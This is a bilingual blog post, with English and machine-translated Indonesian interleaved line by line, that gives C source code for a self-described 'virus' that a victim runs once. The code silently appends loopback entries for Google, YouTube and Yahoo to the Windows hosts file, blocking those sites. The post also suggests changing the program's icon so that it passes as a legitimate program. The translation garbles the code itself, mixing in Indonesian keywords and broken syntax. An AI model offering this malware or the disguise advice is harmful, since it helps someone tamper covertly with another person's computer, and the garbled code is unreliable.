This virus has been exclusively created in 'C' . Virus ini telah diciptakan secara eksklusif di 'C'. So, anyone with a basic knowledge of C will be able to understand the working of the virus. Jadi, siapa pun dengan pengetahuan dasar tentang C akan dapat memahami kerja virus. This virus need's to be clicked only once by the victim. Virus ini perlu yang harus kita diklik hanya sekali oleh korban. Once it is clicked, it'll block a list of websites that has been specified in the source code. Setelah diklik, itu akan memblokir daftar situs Web yang telah ditetapkan dalam kode sumber. The victim will never be able to surf those websites unless he re-install's the operating system. Korban tidak akan pernah dapat menjelajahi situs web tersebut kecuali dia ulang yang menginstal sistem operasi. This blocking is not just confined to IE or Firefox . Pemblokiran ini tidak hanya terbatas pada IE atau Firefox. So once blocked, the site will not appear in any of the browser program. Jadi sekali diblokir, situs tidak akan muncul dalam salah satu dari program browser.
NOTE: You can also block a website manually. CATATAN: Anda juga dapat memblokir situs web secara manual. But, here I have created a virus that automates all the steps involved in blocking. Tapi, di sini aku telah membuat sebuah virus yang mengotomatisasi semua langkah yang terlibat dalam menghalangi. The manual blocking process is described in the post How to Block a Website ? Proses pemblokiran manual digambarkan dalam pos Cara Block a Website?
Here is the sourcecode of the virus. Berikut adalah kode sumber virus.
#include
#include
#include
char site_list[6][30]={ char site_list [6] [30] = (
“google.com”, "Google.com",
“www.google.com”, "Www.google.com",
“youtube.com”, "Youtube.com",
“www.youtube.com”, "Www.youtube.com",
“yahoo.com”, "Yahoo.com",
“www.yahoo.com” "Www.yahoo.com"
}; );
char ip[12]=”127.0.0.1″; char ip [12] = "127.0.0.1";
FILE *target; FILE * target;
int find_root(void); int find_root (void);
void block_site(void); block_site void (void);
int find_root() int find_root ()
{ (
int done; int selesai;
struct ffblk ffblk;//File block structure struct ffblk ffblk; / / File struktur blok
done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC); dilakukan = findfirst ( "C: \ \ windows \ \ system32 \ \ drivers \ \ etc \ \ hosts", & ffblk, FA_DIREC);
/*to determine the root drive*/ / * untuk menentukan root drive * /
if(done==0) if (lakukan == 0)
{ (
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”); target = fopen ( "C: \ \ windows \ \ system32 \ \ drivers \ \ etc \ \ hosts", "r +");
/*to open the file*/ / * untuk membuka file * /
return 1; return 1;
} )
done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC); dilakukan = findfirst ( "D: \ \ windows \ \ system32 \ \ drivers \ \ etc \ \ hosts", & ffblk, FA_DIREC);
/*to determine the root drive*/ / * untuk menentukan root drive * /
if(done==0) if (lakukan == 0)
{ (
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”); target = fopen ( "D: \ \ windows \ \ system32 \ \ drivers \ \ etc \ \ hosts", "r +");
/*to open the file*/ / * untuk membuka file * /
return 1; return 1;
} )
done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC); dilakukan = findfirst ( "E: \ \ windows \ \ system32 \ \ drivers \ \ etc \ \ hosts", & ffblk, FA_DIREC);
/*to determine the root drive*/ / * untuk menentukan root drive * /
if(done==0) if (lakukan == 0)
{ (
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”); target = fopen ( "E: \ \ windows \ \ system32 \ \ drivers \ \ etc \ \ hosts", "r +");
/*to open the file*/ / * untuk membuka file * /
return 1; return 1;
} )
done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC); dilakukan = findfirst ( "F: \ \ windows \ \ system32 \ \ drivers \ \ etc \ \ hosts", & ffblk, FA_DIREC);
/*to determine the root drive*/ / * untuk menentukan root drive * /
if(done==0) if (lakukan == 0)
{ (
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”); target = fopen ( "F: \ \ windows \ \ system32 \ \ drivers \ \ etc \ \ hosts", "r +");
/*to open the file*/ / * untuk membuka file * /
return 1; return 1;
} )
else return 0; else return 0;
} )
void block_site() void block_site ()
{ (
int i; int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/ fseek (target, 0, SEEK_END); / * untuk pindah ke akhir file * /
fprintf(target,”\n”); fprintf (target, "\ n");
for(i=0;i<6;i++) for (i = 0; i <6; i + +)
fprintf(target,”%s\t%s\n”,ip,site_list[i]); fprintf (target, "% s \ t% s \ n", ip, site_list [i]);
fclose(target); fclose (target);
} )
void main() void main ()
{ (
int success=0; int sukses = 0;
success=find_root(); sukses = find_root ();
if(success) if (sukses)
block_site(); block_site ();
} )
How to Compile ? Cara Compile?
For step-by-step compilation guide, refer my post How to compile C Programs . Untuk langkah-demi-langkah panduan kompilasi, lihat saya posting Cara untuk mengkompilasi C Program.
Testing Pengujian
1. 1. To test, run the compiled module. Untuk menguji, jalankan modul terkompilasi. It will block the sites that is listed in the source code. Ini akan memblokir situs yang terdaftar dalam kode sumber.
2. 2. Once you run the file block_Site.exe , restart your browser program. Setelah Anda menjalankan file block_Site.exe, restart program browser. Then, type the URL of the blocked site and you'll see the browser showing error “ Page cannot displayed “. Kemudian, ketik URL situs yang diblokir dan Anda akan melihat browser menampilkan kesalahan "Halaman tidak dapat ditampilkan".
3. 3. To remove the virus type the following the Run. Untuk menghapus virus tipe berikut Run.
%windir%\system32\drivers\etc % windir% \ system32 \ drivers \ etc
4. 4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you'll see something like this Sana, buka file bernama "hosts" menggunakan notepad.At bagian bawah file dibuka, Anda akan melihat sesuatu seperti ini
127.0.0.1 ————————— google.com --------- 127.0.0.1 google.com
5. 5. Delete all such entries which contain the names of blocked sites. Hapus semua entri tersebut yang berisi nama-nama situs yang diblokir.
NOTE: You can also change the ICON of the virus to make it look like a legitimate program.This method is described in the post: How to Change the ICON of an EXE file ? CATATAN: Anda juga dapat mengubah ICON virus agar terlihat seperti metode yang sah program.This dijelaskan di post: Cara Mengubah ICON sebuah file EXE?
http://www.facebook.com/group.php?gid=132501456200
Tidak ada komentar:
Posting Komentar